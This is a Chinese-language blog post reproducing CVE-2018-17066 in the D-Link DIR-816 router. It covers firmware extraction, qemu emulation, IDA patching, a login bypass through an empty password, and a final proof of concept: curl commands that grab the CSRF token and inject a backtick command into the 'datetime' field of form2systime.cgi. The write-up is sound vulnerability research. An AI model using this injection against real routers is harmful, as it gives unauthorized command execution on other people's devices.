漏洞编号:CVE-2018-17066
DIR-816 漏洞在/bin/goahead程序中,系统中自带system直接执行,且参数为输入内容
dosystem中没有对Var进行任何检测,开始想的是可以直接输入字符,但web页面对输入进行了检测,这里要用到命令注入(转战web XD),修改datetime的值。
固件下载:
这个固件可以从官网下载:http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-816
下载之后binwalk解包得到squashfs-root
下载固件、binwalk提取
1 | binwalk -Me xxx |
一般web根目录可以用该命令找出
1 | find -name ''*index*'' |
qemu模拟
因为明确是goahead程序,直接启动试一试
1 | sudo qemu-mipsel -L ./ ./bin/goahead |
卡在等待nvram_daemon,可以进ida看看
通过字符串查找可以找到这里,程序要打开nvramd.pid文件,但我们解包的固件var下是空但,所以会卡在这里,本地实现的话可以动态调试把v1改为1,跳出循环
打个断点
再试一试
继续执行会直接退出了,发现有新问题,一样利用字符串搜索看一下
这里停在判断nvram_bufget获取lan_ipaddr的值,同样打个断点修改v19的值就好
然后继续运行,就正常的在跑了
web端
然后我们就可以去访问web页面了,先随便输一下用户和密码
此时ida停在了对password判断位置,这里可以大致看一下程序、从web端得到username和password进行decode64之后与nvram_bufgey得到的用strcmp比较、既然用的strcmp我们可以直接为空来绕过
不过web页面限制了必须输入用户名,不过我们依然可以在ida中直接去修改(看师傅说可以改前端 不会XD)
这里是对username的判断后的跳转,把v0设置为0即可,然后就可以登录成功了
我们去访问d_wizard_step1_start.asp,找到漏洞触发点(更新时间)
这里web页面对输入有限制,可以利用burp suite进行抓包修改发送的数据
(自己电脑bp可能是环境配置问题吧、一直没搞好 暂时用的kali自己带的)
这里以ls为例
概念验证(官方)
路由需要一个随机令牌,该令牌用作针对 CSRF 的缓解措施。因此,首先我们需要获取它的值:
1 | TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'` |
然后,我们可以将构建的参数与令牌一起发送到路由:
1 | curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=$TOKENID -d 'datetime=`sleep 5`-:' |
- 本文作者: 1uckyc
- 本文链接: https://1uckyc.github.io/2023/11/24/cve-2018-17066复现/